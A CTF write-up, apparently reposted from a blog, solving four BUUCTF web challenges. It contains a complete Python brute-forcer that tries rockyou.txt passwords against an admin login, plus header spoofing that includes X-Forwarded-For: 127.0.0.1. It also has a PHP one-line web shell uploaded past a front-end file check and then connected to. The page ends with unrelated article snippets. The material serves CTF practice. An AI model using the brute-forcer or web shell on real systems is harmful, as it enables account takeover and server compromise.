buuctf_NSBlogin_http_upload(极客2019+ACTF2020新生赛)

今天做三+1个web

题目:NSB_login

在这里插入图片描述
用户名有admin,看源码:
在这里插入图片描述
I like rockyou!今天学习到,kali里面有密码爆破的文件叫rockyou.txt(/usr/share/wordlists/)(没kali也可以去https://gitcode.com/Premium-Resources/754e5下载)。在这里插入图片描述
按源码备注提示,那就应该用这个字典进行爆破,burp也行,但佬说容易崩,所以在这用py脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import json
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry# 目标URL - 确认是否为正确的登录处理地址
url = "http://34c06c2f-cdc1-46e7-bdb4-817ca697d251.node5.buuoj.cn:81/login.php"# 配置会话
session = requests.Session()
retry_strategy = Retry(total=3,backoff_factor=0.1,status_forcelist=[429, 500, 502, 503, 504]
)
adapter = HTTPAdapter(max_retries=retry_strategy, pool_connections=10, pool_maxsize=10)
session.mount("http://", adapter)
session.mount("https://", adapter)# 添加常见的请求头,模拟浏览器行为
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Referer": url,  # 添加来源页,有些服务器会检查"Connection": "keep-alive"
}# 先获取登录页面,可能需要获取cookie
try:session.get(url, headers=headers, timeout=5)
except Exception as e:print(f"获取登录页面失败: {str(e)}")with open('D:\\rockyou.txt', 'r', encoding='utf-8', errors='ignore') as f:i = 0for line in f:password = line.strip()if not password:continuedata = {'email': 'admin','password': password,'remember_me': 0}try:# 发送POST请求response = session.post(url, data=data, headers=headers, timeout=5)response.encoding = 'utf-8'# 每500个密码打印一次状态if i % 500 == 0:print(f"已尝试 {i} 个密码,当前尝试: {password} (状态码: {response.status_code})")# 检查状态码if response.status_code == 405:print(f"\n服务器拒绝请求 (405),可能需要修改请求方式或URL")print(f"响应内容: {response.text[:500]}")break# 检查是否是成功的响应if response.status_code == 200:# 解析响应try:result = json.loads(response.text)# 根据返回的消息判断if result.get('ret') == 0 and "密码错误" in result['data'].get('msg', ''):# 密码错误,继续尝试passelse:# 可能是成功的情况print(f"\n找到正确密码! 第{i}个尝试: {password}")print(f"响应内容: {result}")breakexcept json.JSONDecodeError:# 非JSON响应,检查是否包含密码错误if "密码错误" not in response.text:print(f"\n找到正确密码! 第{i}个尝试: {password}")print(f"响应内容: {response.text[:500]}")breakelse:# 其他状态码,可能是成功print(f"\n找到正确密码! 第{i}个尝试: {password} (状态码: {response.status_code})")print(f"响应内容: {response.text[:500]}")breaki += 1except Exception as e:print(f"\n请求出错: {str(e)},当前密码: {password}")continueelse:print(f"已尝试所有密码({i}个),未找到正确密码")

记得修改上面的url和你真实rockyou.txt的位置。跑了许久(他会报错的,报错后过一会就会跳出Flag),得到:
在这里插入图片描述

题目:http

在这里插入图片描述
在这里插入图片描述
还挺长的一个网页,看看源码。
在这里插入图片描述
文件链接,点进去看看
在这里插入图片描述
说这不从"https://Sycsecret.buuoj.cn"来,打开burpsuite抓包修改重放下

Referer: https://Sycsecret.buuoj.cn

在这里插入图片描述
红框里是新添加的,点击放包看看效果:
在这里插入图片描述
那再修改,修改代理,把原先User-Agent修改为题目上述提示的Syclover browser

User-Agent:Syclover browser

在这里插入图片描述
得到
在这里插入图片描述
No!?说你只能本地看。那把改本地

X-Forwarded-For: 127.0.0.1

在这里插入图片描述
得到:
在这里插入图片描述

题目:[极客大挑战 2019]Upload

题目如下,看前端源码没有可以注意的东西
在这里插入图片描述
我试着上传一张图片(背景.jpg),结果回显:
在这里插入图片描述
搜寻资料,建议,先传马,一句话木马:

GIF89a
<script language='php'>eval($_POST['shell']);</script>

写入.txt里,将文件上传,但上传中用BP拦截修改文件
在这里插入图片描述
这样就可以成功绕过前端的检查,得到
在这里插入图片描述
后面根据这个马,通过蚁剑进行连接。(下图前面多了个http://,记得删)连接地址是"url"/upload/shell.phtml
在这里插入图片描述
连接成功后,在根目录找到了flag
在这里插入图片描述

点击查看
在这里插入图片描述

题目:[ACTF2020 新生赛]Upload

题目如下
在这里插入图片描述
打开前端,看看源码
在这里插入图片描述
依然是前端验证
传jpg然后BP改成一句话木马,就可以用蚁剑连接了。和上一道([极客大挑战 2019]Upload)一模一样
在这里插入图片描述
flag还是在根目录:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/95565.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/95565.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

IDEA如何引用brew安装的openjdk

因为 brew 安装的 openjdk@21 目录结构和 IDEA 期望的 JDK 目录不一样。所以默认brew安装的jdk,在IDEA中是无法识别到的。 一、创建软连接 sudo mkdir -p /Library/Java/JavaVirtualMachines sudo ln -sfn /usr/local/opt/openjdk@21/libexec/openjdk.jdk /Library/Java/Java…

【Unity3D】Spine黑线(预乘问题)、贴图边缘裁剪问题

一、黑线问题 Spine正确的导出和Unity导入设置&#xff08;解决黑边/彩条带问题&#xff09;_spine导出的图片有黑边-CSDN博客 采用&#xff08;已解决问题&#xff09; Texture 打包器启用 Premultiply alpha ,禁用Bleed Unity Texture 设置中禁用 sRGB (Color Texture) 和…

嵌入式系统学习Day18(文件编程-系统调用文件IO)

- open#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h>int open(const char *pathname, int flags); int open(const char *pathname, int flags, mode_t mode); 功能:打开文件 参数:pathname --- 文件名 flags 必选:O_RDONLYO_WRONLY…

Vue浅学

概述在最近的学习任务中了解了 Vue&#xff0c;并对其产生了浓厚的兴趣&#xff0c;现在分享一下我的学习所得关键字其一statestate 是 Vuex 存储中的“状态对象”&#xff0c;用于存储整个应用的共享数据&#xff08;如用户信息、令牌、权限等&#xff09;&#xff0c;比如&am…

机器翻译:Hugging Face库详解

文章目录一、Hugging Face概述1.1 Hugging Face介绍1.2 核心理念&#xff1a;模型即服务&#xff0c;但以开源形式二、核心架构2.1 Transformers库&#xff1a;模型交互的统一接口2.2 Datasets库&#xff1a;高效的数据处理引擎2.3 Tokenizers库&#xff1a;文本与模型的“翻译…

服务器安装gielab社区版

第一步&#xff1a;安装Gitlab 1,使用的是CentOs镜像(服务器最低配置为4核8g内存才行要不然带不动) 登录目标实例。 2,执行如下命令&#xff0c;安装所需依赖。 1 sudo yum install -y curl policycoreutils-python openssh-server 3,执行如下命令&#xff0c;启动SSH服务…

C#报错:System.NullReferenceException:“未将对象引用设置到对象的实例。”

C#使用自定义的类创建数组时&#xff0c;使用时报错&#xff0c;报错内容如下图&#xff1a;原因&#xff1a;C#中的数组是引用类型。当声明自定义类数组时&#xff0c;数组本身会被创建&#xff0c;但其元素&#xff08;即自定义类的实例&#xff09;默认未被实例化&#xff0…

Maven 的 module 管理

一、Maven 的 module 管理 1. 什么是 Maven module&#xff1f; Maven module&#xff08;模块&#xff09;&#xff0c;是 Maven 多模块项目结构&#xff08;multi-module project&#xff09;中的核心概念。它允许你将一个大型项目拆分为若干独立的小项目&#xff08;模块&am…

现在都是APP,小程序抢购,支持浏览器不支持 SSE

在 APP 和小程序抢购场景中&#xff0c;通常不原生支持SSE&#xff08;Server-Sent Events&#xff09;&#xff0c;这与浏览器对 SSE 的支持情况不同&#xff0c;具体如下&#xff1a;APP&#xff1a;一般情况下&#xff0c;APP 端不支持原生 SSE。若使用 UniApp 开发&#xf…

Spring Boot 深度解析:从原理到实践

一、Spring Boot 本质与核心价值 1.1 什么是 Spring Boot&#xff1f; Spring Boot 是 Spring 生态的革命性框架&#xff0c;旨在解决传统 Spring 开发的复杂性。它通过"约定优于配置"&#xff08;Convention Over Configuration&#xff09;理念&#xff0c;提供开箱…

WebSocket-java篇

问题引入消息推送的方式我们要实现&#xff0c;服务器把消息推送到客户端&#xff0c;可以轮训&#xff0c;长轮训还有sseWebSocket理论WebSocket 的由来与核心价值诞生背景&#xff1a;解决 HTTP 协议在实时通信中的固有缺陷&#xff08;单向请求-响应模式&#xff09;核心驱动…

用Python从零开始实现神经网络

反向传播算法用于经典的前馈人工神经网络。 它仍然是训练大型深度学习网络的技术。 在这个教程中&#xff0c;你将学习如何用Python从头开始实现神经网络的反向传播算法。 完成本教程后&#xff0c;您将了解&#xff1a; 如何将输入前向传播以计算输出。如何反向传播错误和…

算法148. 排序链表

题目&#xff1a;给你链表的头结点 head &#xff0c;请将其按 升序 排列并返回 排序后的链表 。示例 1&#xff1a;输入&#xff1a;head [4,2,1,3] 输出&#xff1a;[1,2,3,4] 示例 2&#xff1a;输入&#xff1a;head [-1,5,3,4,0] 输出&#xff1a;[-1,0,3,4,5] 示例 3&a…

在腾讯云CodeBuddy上实现一个AI聊天助手

在腾讯云CodeBuddy上实现一个AI聊天助手项目 在当今数字化时代&#xff0c;AI聊天助手已经成为一种非常流行的应用&#xff0c;广泛应用于客户服务、智能助手等领域。今天&#xff0c;我们将通过腾讯云CodeBuddy平台&#xff0c;实现一个基于Spring Boot和OpenAI API的AI聊天助…

JavaScript Array.prototype.flatMap ():数组 “扁平化 + 映射” 的高效组合拳

在 JavaScript 数组处理中&#xff0c;我们经常需要先对每个元素进行转换&#xff08;映射&#xff09;&#xff0c;再将结果 “铺平”&#xff08;扁平化&#xff09;。比如将数组中的每个字符串按空格拆分&#xff0c;然后合并成一个新数组。传统做法是先用map()转换&#xf…

区块链与元宇宙:数字资产的守护者

1 区块链支撑元宇宙数字资产的底层逻辑1.1 不可篡改性构建信任基石区块链的不可篡改性为元宇宙数字资产提供了坚实的信任基础。其核心在于分布式账本技术&#xff0c;当一笔数字资产交易发生时&#xff0c;会被打包成区块并广播至网络中的所有节点。每个节点都会对这笔交易进行…

Linux软件编程:进程和线程(进程)

进程一、基本概念进程&#xff1a;是程序动态执行过程&#xff0c;包括创建、调度、消亡程序&#xff1a;存放在外存的一段数据的集合二、进程创建&#xff08;一&#xff09;进程空间分布每个进程运行起来后&#xff0c;操作系统开辟0-4G的虚拟空间进程空间&#xff1a;用户空…

Mybatis学习笔记(五)

分页插件与性能优化 分页插件配置 简要描述&#xff1a;MybatisPlus分页插件是基于物理分页实现的高性能分页解决方案&#xff0c;支持多种数据库的分页语法&#xff0c;能够自动识别数据库类型并生成对应的分页SQL。 核心概念&#xff1a; 物理分页&#xff1a;直接在SQL层面进…

企业可商用的conda:「Miniforge」+「conda-forge」

文章目录一、彻底卸载现有 Anaconda/Miniconda二、安装 Miniforge&#xff08;推荐&#xff09;macOS/Linux检查Windows检查三、将通道固定为 conda-forge&#xff08;严格优先&#xff09;四、验证是否仍引用 Anaconda 源五、常见问题&#xff08;FAQ&#xff09;六、参考命令…

Flutter ExpansionPanel组件(可收缩的列表)

可以展开或者收缩的面板组件&#xff0c;收缩面板组件效果由ExpansionPanelList组件和ExpansionPanel组件共同完成。 ExpansionPanelList属性说明属性说明children子元素expansionCallback设置回调事件ExpansionPanel属性说明headerBuilder收缩的标题body内容isExpanded设置内容…